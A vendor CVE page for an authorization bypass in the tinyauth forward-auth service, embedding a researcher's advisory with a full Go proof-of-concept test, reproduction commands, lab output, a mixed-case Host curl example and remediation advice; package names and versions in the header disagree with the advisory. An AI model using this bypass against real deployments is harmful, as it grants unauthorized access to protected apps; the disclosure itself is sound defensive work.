CVE-2026-77560

CVE-2026-77560 is a high-severity incorrect authorization vulnerability in github.com/tinyauthapp/tinyauth (go), affecting versions < 1.0.1-0.20260720133915-80bc87188ec3. It is fixed in 1.0.1-0.20260720133915-80bc87188ec3.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

Tinyauth: forward-auth per-app ACL is matched case-sensitively against the (case-insensitive) hostname, letting an authenticated user reach apps they are not on the allowlist for

tinyauth: forward-auth per-app ACL is matched case-sensitively against the (case-insensitive) hostname, letting an authenticated user reach apps they are not on the allowlist for

GitHub Advisory Details (form fields, paste-ready)

Affected products

Field Value
Ecosystem Other (self-hosted) / Go
Package name github.com/steveiliop56/tinyauth (forward-auth middleware)
Affected versions < 5.1.2
Patched versions 5.1.2

Advisory details

Field Value
Title tinyauth forward-auth authorization bypass: per-app ACL host matching is case-sensitive while hostnames are case-insensitive, so a mixed-case host defeats users/groups/ip allowlists and fails open
  • Status: Runtime-confirmed (local lab, 127.0.0.1 only)
  • Target: steveiliop56/tinyauth v5.0.7 (commit 479f1657812b7bf01438607464dedaa148155301); root cause also present on main HEAD
  • Component: internal/service/access_controls_service.go (lookupStaticACLs / GetAccessControls), internal/service/docker_service.go (GetLabels), internal/controller/proxy_controller.go (proxyHandler)
  • Class: Broken access control / authorization bypass across the per-app trust boundary

tinyauth is a forward-auth service: a reverse proxy (Traefik/Caddy/nginx/Envoy) calls GET /api/auth/<proxy> on every request and only forwards the request upstream if tinyauth returns 200. tinyauth decides which per-app access rules apply by looking up the forwarded hostname (the app) in its ACL set, the static apps: config and/or Docker labels. Each app can restrict access with users.allow / users.block, oauth.whitelist, oauth.groups / ldap.groups, and ip.allow. These allowlists are the entire authorization model that separates one protected app from another for a shared pool of authenticated users.

The hostname → ACL lookup is performed with case-sensitive Go string comparisons (config.Config.Domain == domain and strings.SplitN(domain, ".", 2)[0] == app). Hostnames, however, are case-insensitive everywhere else in the stack: DNS, HTTP Host-header routing, and TLS SNI all treat immich.example.com and IMMICH.example.com as the same host, so a reverse proxy routes both to the same backend. When a request arrives with a mixed-case host, the proxy still routes it to the intended app and faithfully forwards the mixed-case value in X-Forwarded-Host (or X-Original-URL for nginx, or Host for Envoy), but tinyauth's case-sensitive lookup misses the app's ACL entry.

On a miss, tinyauth does not fail closed. GetAccessControls falls back to DockerService.GetLabels, which returns an empty config.App{} with no error whenever nothing matches (or Docker is not connected). The proxy handler then evaluates that empty App: IsAuthEnabled → true, CheckIP (no allow/block) → allowed, IsUserAllowed with an empty users.allow → CheckFilter("", …) → true, and the group check with empty required groups → true. The net result is that any already-authenticated user is authorized (200 Authenticated) for an app whose ACL was supposed to exclude them, simply by upper-casing (or otherwise re-casing) one letter of the hostname. This defeats the per-app users/groups/ip allowlist for every proxy integration.

Affected code (v5.0.7, commit 479f1657…)

The ACL lookup uses case-sensitive equality, internal/service/access_controls_service.go:

func (acls *AccessControlsService) lookupStaticACLs(domain string) (config.App, error) {
	for app, config := range acls.static {
		if config.Config.Domain == domain {              // case-sensitive ==
			return config, nil
		}
		if strings.SplitN(domain, ".", 2)[0] == app {    // case-sensitive ==
			return config, nil
		}
	}
	return config.App{}, errors.New("no results")
}

func (acls *AccessControlsService) GetAccessControls(domain string) (config.App, error) {
	app, err := acls.lookupStaticACLs(domain)
	if err == nil {
		return app, nil
	}
	// Fallback to Docker labels
	return acls.docker.GetLabels(domain)
}

The Docker-label fallback has the same case-sensitive comparisons and, critically, returns an empty App with a nil error when nothing matches (fail open), internal/service/docker_service.go:

func (docker *DockerService) GetLabels(appDomain string) (config.App, error) {
	if !docker.isConnected {
		return config.App{}, nil            // <-- empty App, no error
	}
	...
	for _, ctr := range containers {
		...
		for appName, appLabels := range labels.Apps {
			if appLabels.Config.Domain == appDomain { ... }        // case-sensitive
			if strings.SplitN(appDomain, ".", 2)[0] == appName { ... } // case-sensitive
		}
	}
	return config.App{}, nil                // <-- no match -> empty App, no error
}

The forward-auth verdict is built from that (possibly empty) App, and an empty App authorizes any logged-in user, internal/controller/proxy_controller.go and internal/service/auth_service.go:

// proxyHandler: host comes straight from X-Forwarded-Host, no normalization
acls, err := controller.acls.GetAccessControls(proxyCtx.Host)
...
if userContext.IsLoggedIn {
	userAllowed := controller.auth.IsUserAllowed(c, userContext, acls)   // empty acls -> true
	...
	c.Header("Remote-User", utils.SanitizeHeader(userContext.Username))
	c.JSON(200, gin.H{"status": 200, "message": "Authenticated"})
}

// IsUserAllowed with an empty App:
func (auth *AuthService) IsUserAllowed(c *gin.Context, context config.UserContext, acls config.App) bool {
	if context.OAuth {
		return utils.CheckFilter(acls.OAuth.Whitelist, context.Email) // CheckFilter("", …) == true
	}
	if acls.Users.Block != "" { ... }                                  // "" -> skipped
	return utils.CheckFilter(acls.Users.Allow, context.Username)       // CheckFilter("", …) == true
}

utils.CheckFilter returns true for an empty filter, so an empty users.allow means "everyone is allowed":

func CheckFilter(filter string, str string) bool {
	if len(strings.TrimSpace(filter)) == 0 {
		return true          // empty allowlist -> allow all
	}
	...
}

The forwarded host is used verbatim: getForwardAuthContext reads x-forwarded-host, getAuthRequestContext parses x-original-url, getExtAuthzContext uses c.Request.Host, none of them lower-cases or canonicalizes the host before it reaches GetAccessControls.

Attacker model / precondition

The attacker is a legitimately authenticated but low-privileged user of the tinyauth instance, they hold a valid session (or valid credentials) for their own account, exactly the normal state of any user in a multi-app SSO deployment. They are simply not on the users.allow / group / IP allowlist of some other app protected by the same tinyauth. tinyauth does not offer self-registration, so a valid account is required; this is an authorization (not authentication) bypass, hence PR:L. An unauthenticated visitor is still redirected to the login page.

Trigger: send the request to the protected app with a hostname that routes identically but differs as a byte string from the configured ACL key, the simplest being a case change (IMMICH.example.com for immich.example.com). Reverse proxies match Host rules case-insensitively (RFC 3986 §3.2.2 / RFC 4343), so the request is still routed to the intended backend, and the proxy forwards the mixed-case host to tinyauth in X-Forwarded-Host / X-Original-URL / Host. Equivalent host encodings that route the same but bypass the string compare include a trailing FQDN dot (immich.example.com.) and, for by-domain rules, an added port. The bypass applies to all four proxy integrations (Traefik/Caddy → X-Forwarded-Host; nginx → X-Original-URL; Envoy → Host).

What bounds severity: the attacker must already have a valid account, and the concrete confidentiality/integrity impact depends on the specific app that becomes reachable. Because the whole purpose of putting an app behind a per-app allowlist is to protect sensitive functionality, reaching it generically yields read and write access to that app's data (C:H/I:H). The bypass affects authorization only; global gates that are configured tinyauth-wide (e.g. a global oauth.whitelist used at login) are not affected because they run at login, not per-app.

Proof of Concept (complete, runs on 127.0.0.1 only)

Lab-only. This is a single self-contained Go test dropped into the tinyauth source tree. It builds the real ProxyController, AccessControlsService, and AuthService (the same wiring the project's own proxy_controller_test.go uses), configures one app immich restricted to user admin, and drives the real forward-auth endpoint as a logged-in non-admin user bob. It proves: (1) with the exact-case host, bob is correctly blocked (403); (2) with an upper-cased host, the ACL lookup misses, tinyauth fails open to an empty App, and bob is authorized (200) with Remote-User: bob, a cross-app authorization bypass.

Reproduce against the exact vulnerable tag:

git clone --depth 1 --branch v5.0.7 https://github.com/steveiliop56/tinyauth
cd tinyauth
# The repo embeds the built frontend at internal/assets/dist via //go:embed.
# For a backend-only PoC, create a one-file stub so the embed compiles:
mkdir -p internal/assets/dist
printf '<!doctype html><title>stub</title>' > internal/assets/dist/index.html
# Write the test file shown below to internal/controller/zzz_poc_test.go, then:
go test ./internal/controller/ -run TestForwardAuthHostCaseACLBypass -v

internal/controller/zzz_poc_test.go:

package controller_test

import (
	"net/http/httptest"
	"path"
	"testing"

	"github.com/gin-gonic/gin"
	"github.com/steveiliop56/tinyauth/internal/bootstrap"
	"github.com/steveiliop56/tinyauth/internal/config"
	"github.com/steveiliop56/tinyauth/internal/controller"
	"github.com/steveiliop56/tinyauth/internal/repository"
	"github.com/steveiliop56/tinyauth/internal/service"
	"github.com/steveiliop56/tinyauth/internal/utils/tlog"
	"github.com/stretchr/testify/assert"
	"github.com/stretchr/testify/require"
)

// TestForwardAuthHostCaseACLBypass demonstrates that the per-app ACL is matched
// against the forwarded host with a case-SENSITIVE string comparison, while
// reverse proxies route hosts case-INSENSITIVELY. A logged-in user who is NOT in
// an app's users.allow list can reach the app anyway by varying the case of the
// hostname: the ACL lookup misses, tinyauth falls back to an EMPTY App (fail
// open), and the forward-auth verdict becomes 200 "Authenticated".
func TestForwardAuthHostCaseACLBypass(t *testing.T) {
	tlog.NewTestLogger().Init()
	tempDir := t.TempDir()

	// Force the docker label provider offline so an ACL miss deterministically
	// yields the empty App() default (this is exactly what happens on any
	// deployment whose ACLs live in the static `apps:` config, or whose docker
	// socket holds no container matching the mixed-case host).
	t.Setenv("DOCKER_HOST", "unix:///nonexistent/docker.sock")

	authServiceCfg := service.AuthServiceConfig{
		Users: []config.User{
			{
				Username: "admin",
				Password: "$2a$10$ZwVYQH07JX2zq7Fjkt3gU.BjwvvwPeli4OqOno04RQIv0P7usBrXa", // password
			},
			{
				Username: "bob",
				Password: "$2a$10$ZwVYQH07JX2zq7Fjkt3gU.BjwvvwPeli4OqOno04RQIv0P7usBrXa", // password
			},
		},
		SessionExpiry:     10,
		CookieDomain:      "example.com",
		LoginTimeout:      10,
		LoginMaxRetries:   3,
		SessionCookieName: "tinyauth-session",
	}

	controllerCfg := controller.ProxyControllerConfig{
		AppURL: "https://tinyauth.example.com",
	}

	// The admin restricts the "immich" app to user "admin" only.
	acls := map[string]config.App{
		"immich": {
			Config: config.AppConfig{
				Domain: "immich.example.com",
			},
			Users: config.AppUsers{
				Allow: "admin",
			},
		},
	}

	// bob is a legitimately-authenticated low-privileged user. He is NOT in
	// immich's users.allow list.
	bobCtx := func(c *gin.Context) {
		c.Set("context", &config.UserContext{
			Username:   "bob",
			Name:       "Bob",
			Email:      "[email protected]",
			IsLoggedIn: true,
			Provider:   "local",
		})
		c.Next()
	}

	// Shared services (mirrors the project's own proxy_controller_test.go).
	app := bootstrap.NewBootstrapApp(config.Config{})
	db, err := app.SetupDatabase(path.Join(tempDir, "tinyauth.db"))
	require.NoError(t, err)
	defer func() { _ = db.Close() }()

	queries := repository.New(db)

	docker := service.NewDockerService()
	require.NoError(t, docker.Init())

	ldap := service.NewLdapService(service.LdapServiceConfig{})
	require.NoError(t, ldap.Init())

	broker := service.NewOAuthBrokerService(make(map[string]config.OAuthServiceConfig))
	require.NoError(t, broker.Init())

	authService := service.NewAuthService(authServiceCfg, docker, ldap, queries, broker)
	require.NoError(t, authService.Init())

	aclsService := service.NewAccessControlsService(docker, acls)

	newRouter := func() *gin.Engine {
		gin.SetMode(gin.TestMode)
		router := gin.New()
		router.Use(bobCtx)
		group := router.Group("/api")
		pc := controller.NewProxyController(controllerCfg, group, aclsService, authService)
		pc.SetupRoutes()
		return router
	}

	forwardAuth := func(host string) *httptest.ResponseRecorder {
		rec := httptest.NewRecorder()
		req := httptest.NewRequest("GET", "/api/auth/traefik", nil)
		req.Header.Set("x-forwarded-host", host)
		req.Header.Set("x-forwarded-proto", "https")
		req.Header.Set("x-forwarded-uri", "/")
		newRouter().ServeHTTP(rec, req)
		return rec
	}

	// 1. Control: exact-case host -> ACL is found, bob is NOT in users.allow -> 403.
	lower := forwardAuth("immich.example.com")
	t.Logf("[control]  x-forwarded-host=immich.example.com  -> %d  remote-user=%q", lower.Code, lower.Header().Get("Remote-User"))
	assert.Equal(t, 403, lower.Code, "boundary must block bob at the exact-case host")

	// 2. Bypass: upper-case host -> ACL lookup misses (case-sensitive ==),
	//    empty App fail-open -> 200 Authenticated + Remote-User leaks bob.
	upper := forwardAuth("IMMICH.example.com")
	t.Logf("[BYPASS]   x-forwarded-host=IMMICH.example.com  -> %d  remote-user=%q", upper.Code, upper.Header().Get("Remote-User"))

	require.Equalf(t, 200, upper.Code, "expected the mixed-case host to bypass the users.allow ACL")
	require.Equalf(t, "bob", upper.Header().Get("Remote-User"), "tinyauth authorized bob for immich across the ACL boundary")
}

Observed output (v5.0.7; trimmed to the two decisive log lines):

=== RUN   TestForwardAuthHostCaseACLBypass
... access_controls_service.go: Found matching container by domain  name=immich
... proxy_controller.go: User not allowed to access resource  resource=immich user=bob
    zzz_poc_test.go: [control]  x-forwarded-host=immich.example.com  -> 403  remote-user=""
... access_controls_service.go: Falling back to Docker labels for ACLs
... docker_service.go: Docker not connected, returning empty labels
    zzz_poc_test.go: [BYPASS]   x-forwarded-host=IMMICH.example.com  -> 200  remote-user="bob"
--- PASS: TestForwardAuthHostCaseACLBypass (0.06s)
PASS
ok  	github.com/steveiliop56/tinyauth/internal/controller	0.067s

The control request (immich.example.com) finds the ACL and correctly returns 403 for bob; the identical request with an upper-cased host (IMMICH.example.com) misses the ACL, falls back to the empty App, and returns 200 Authenticated with Remote-User: bob. In a live deployment the identical effect is reached over HTTP by requesting the protected app with a mixed-case Host header, e.g. curl -H 'Host: IMMICH.example.com' https://<proxy>/ with bob's session cookie, the proxy routes it to immich and forwards the mixed-case host to tinyauth, which authorizes bob.

Impact

Any authenticated user can reach any app protected on the same tinyauth instance whose access is restricted by users.allow / users.block, oauth.groups, ldap.groups, or (for authenticated users) oauth.whitelist, none of which are enforced once the ACL lookup misses on a mixed-case host. Concretely, a user restricted to a handful of apps can obtain full authenticated access to an admin-only or team-only app (its data and actions) hosted behind the same tinyauth, defeating the per-app trust boundary that is the product's core authorization feature. tinyauth even emits the spoofed identity to the upstream via the Remote-User / Remote-Email headers, so downstream apps that trust those headers treat the attacker as a legitimately-authorized user of that app.

The application does not correctly enforce access controls, allowing a principal to access resources or operations beyond their granted permissions. Typical impact: unauthorized data access or execution of privileged operations.

CVE-2026-77560 has a CVSS score of 8.1 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.0.1-0.20260720133915-80bc87188ec3); upgrading removes the vulnerable code path.

Affected versions

github.com/tinyauthapp/tinyauth (< 1.0.1-0.20260720133915-80bc87188ec3)

Security releases

github.com/tinyauthapp/tinyauth → 1.0.1-0.20260720133915-80bc87188ec3 (go)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

  • Canonicalize the host before the ACL decision. Lower-case (and strip any trailing dot / port from) the forwarded host in getForwardAuthContext / getAuthRequestContext / getExtAuthzContext, and store both the ACL apps keys and each config.domain / label domain lower-cased, so the lookup is case-insensitive. Equivalently, compare with strings.EqualFold. This closes the case, trailing-dot, and port-variant encodings in one place.
  • Fail closed on an ACL miss. GetAccessControls / GetLabels should distinguish "no ACL configured for this host" from "empty ACL that allows everyone." When no app matches the requested host, the forward-auth handler should not authorize a user by defaulting to an empty allow-all App; it should apply a deny-by-default (or an explicit, documented default policy) rather than returning config.App{}, nil. Returning an all-empty App as the fallback is the fail-open that turns the lookup miss into an authorization bypass.
  • Add a regression test asserting that a user excluded by users.allow is still 403 when the same host is supplied in mixed case, with a trailing dot, and with an added port.

Please credit 5ud0 / Tarmo Technologies.

Frequently Asked Questions

  1. What is CVE-2026-77560? CVE-2026-77560 is a high-severity incorrect authorization vulnerability in github.com/tinyauthapp/tinyauth (go), affecting versions < 1.0.1-0.20260720133915-80bc87188ec3. It is fixed in 1.0.1-0.20260720133915-80bc87188ec3. The application does not correctly enforce access controls, allowing a principal to access resources or operations beyond their granted permissions.
  2. How severe is CVE-2026-77560? CVE-2026-77560 has a CVSS score of 8.1 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of github.com/tinyauthapp/tinyauth are affected by CVE-2026-77560? github.com/tinyauthapp/tinyauth (go) versions < 1.0.1-0.20260720133915-80bc87188ec3 is affected.
  4. Is there a fix for CVE-2026-77560? Yes. CVE-2026-77560 is fixed in 1.0.1-0.20260720133915-80bc87188ec3. Upgrade to this version or later.
  5. Is CVE-2026-77560 exploitable, and should I be worried? Whether CVE-2026-77560 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-77560 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-77560? Upgrade github.com/tinyauthapp/tinyauth to 1.0.1-0.20260720133915-80bc87188ec3 or later.

Other vulnerabilities in github.com/tinyauthapp/tinyauth

Stop the waste.
Protect your environment with Kodem.